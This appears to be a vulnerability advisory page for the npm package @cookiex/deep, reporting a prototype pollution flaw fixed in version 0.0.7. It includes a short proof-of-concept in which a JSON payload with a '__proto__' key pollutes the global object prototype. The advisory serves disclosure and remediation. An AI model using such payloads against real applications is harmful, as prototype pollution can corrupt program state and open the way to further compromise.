@cookiex/deep@0.0.3 vulnerabilities

Tool to manage assign with recursive

Direct Vulnerabilities

Known vulnerabilities in the @cookiex/deep package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

@cookiex/deep is a Tool to assign properties recursively and create recursion features in an easy way.

Affected versions of this package are vulnerable to Prototype Pollution. The global proto object can be polluted using the __proto__ object.

PoC

var deep = require("@cookiex/deep")
const target = {}
console.log("Before:"+{}.polluted)
deep.default( target, JSON.parse('{"__proto__":{"polluted":"Prototype is polluted !!!"}}'))
console.log("After:"+{}.polluted)

How to fix Prototype Pollution?

Upgrade @cookiex/deep to version 0.0.7 or higher.

<0.0.7